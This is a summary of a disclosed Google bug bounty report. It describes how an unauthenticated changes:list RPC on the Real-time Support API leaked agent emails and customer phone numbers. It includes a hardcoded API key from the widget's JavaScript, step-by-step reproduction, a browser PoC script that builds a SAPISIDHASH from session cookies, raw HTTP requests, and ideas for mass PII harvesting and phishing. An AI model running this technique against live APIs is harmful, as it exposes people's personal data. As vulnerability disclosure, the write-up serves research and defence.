# Hacking Google Support: Leaking millions of customer records

Unauthenticated changes:list RPC on Google's Real-time Support API returned global support state, leaking agent identities and millions of customer phone numbers.

- Payout: $14,000
- Severity: high
- Program: Google
- Found by: Michael Dalton
- Disclosed: 2026-03-31
- Write-up quality: 8/10
- Original: https://michaeldalton.au/posts/hacking-google-support
- Library page: https://bugbountylibrary.com/r/blog%3Amichaeldalton-au-posts-hacking-google-support
- Tags: area:web domain:api domain:web impact:data-leak impact:pii-leak kind:bounty platform:blog sev:high tech:rest technique:js-analysis technique:source-review vuln:access-control vuln:info-disclosure

**Target:** realtimesupport.clients6.google.com /v2/changes:list RPC
**Root cause:** The ListChanges RPC lacked authorization checks, allowing any Google account to query global support diffs between arbitrary timestamps.
**Steps:**
1. Extract hardcoded API key `AIzaSyB5V4SIBGmrqREm7kf2fBJgPcBMCdUrLzE` from the support chat widget JS.
2. Fetch discovery doc: `GET /$discovery/rest` with `X-Goog-Api-Key` header to enumerate 93 methods.
3. Minimize a request to `GET /v2/customers/me` with Cookie, `Authorization: SAPISIDHASH`, Origin, and API key.
4. Note methods with path IDs return 403 via middleware; methods without path IDs fail later (400), flagging them as suspicious.
5. Send `POST /v2/changes:list` with body `{"includeInitialSnapshot":true,"timeRange":{"startTimestamp":"...","endTimestamp":"..."}}`.
6. Receive full system diff including agent emails, activity status, customer names, and unredacted phone numbers.
**How found:** Noticed the chat iframe on clients6.google.com, fetched the private API discovery document via a hardcoded key, then prioritized methods lacking path-based ID middleware checks; changes:list returned a 5-second global state dump.
**Exploitation:** Any Google account holder could call the RPC with arbitrary time ranges to dump global support state, enabling mass PII harvesting and hyper-targeted phishing (e.g., calling a customer right after a support call with agent/case details).
**Escalation:** Iterating time ranges across Jan-Jun 2025 yielded at least 30M accessible cases; cbfConversationId exposure could allow accessing chat contents.
**Insight:** On Google APIs, methods without a resource ID in the path bypass the global agent_id authorization middleware — prioritize those in discovery docs, and use the hardcoded API key from client JS to fetch `/$discovery/rest` for private services.

## Proof of concept (copied exactly from the original report)

**PoC script calling changes:list to dump support data**

```
(async () => {
 console.log('[+] making request to google.internal.realtimesupport.v2.ChangeService2.ListChanges');
 const response = await fetch('https://realtimesupport.clients6.google.com/v2/changes:list?key=[redacted]', {
 headers: {
 'authorization': 'SAPISIDHASH ' + await (async () => {
 // Adapted from https://stackoverflow.com/a/79526491
 async function sha1(str) {
 return window.crypto.subtle.digest('SHA-1', new TextEncoder('utf-8').encode(str)).then(buf => {
 return Array.prototype.map.call(new Uint8Array(buf), x => (('00' + x.toString(16)).slice(-2))).join('');
 });
 }

 function cookie(name) {
 return document.cookie
 .split('; ')
 .find(row => row.startsWith(`${name}=`))
 ?.split('=')[1];
 }

 const TIMESTAMP = Math.floor(new Date().getTime() / 1000);
 const SAPISID = cookie('SAPISID');
 const ORIGIN = window.location.origin;

 const digest = await sha1([TIMESTAMP, SAPISID, ORIGIN].join(" "));

 return `${TIMESTAMP}_${digest}`;
 })(),
 'content-type': 'application/json'
 },
 method: 'POST',
 body: JSON.stringify({
 includeInitialSnapshot: true,
 timeRange: {
 startTimestamp: "1735713335000",
 endTimestamp: "1735713345000"
 }
 })
 });
 let data = await response.text();
 console.log(`[+] got response with status=${response.status}, length=${data.length}`);
 try {
 data = JSON.parse(data);
 } catch {}
 console.log('[+] response data:', data);
})();
```

**Minimal authenticated request to Real-time Support API**

```
GET /v2/customers/me HTTP/2
Host: realtimesupport.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
Origin: https://support.google.com
X-Goog-Api-Key: [redacted]
```

**Request to changes:list leaking PII**

```
POST /v2/changes:list HTTP/2
Host: realtimesupport.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
X-Goog-Api-Key: [redacted]
Origin: https://support.google.com
Content-Type: application/json

{
 "includeInitialSnapshot": true,
 "timeRange": {
 "startTimestamp": "1735713335000",
 "endTimestamp": "1735713345000"
 }
}
```

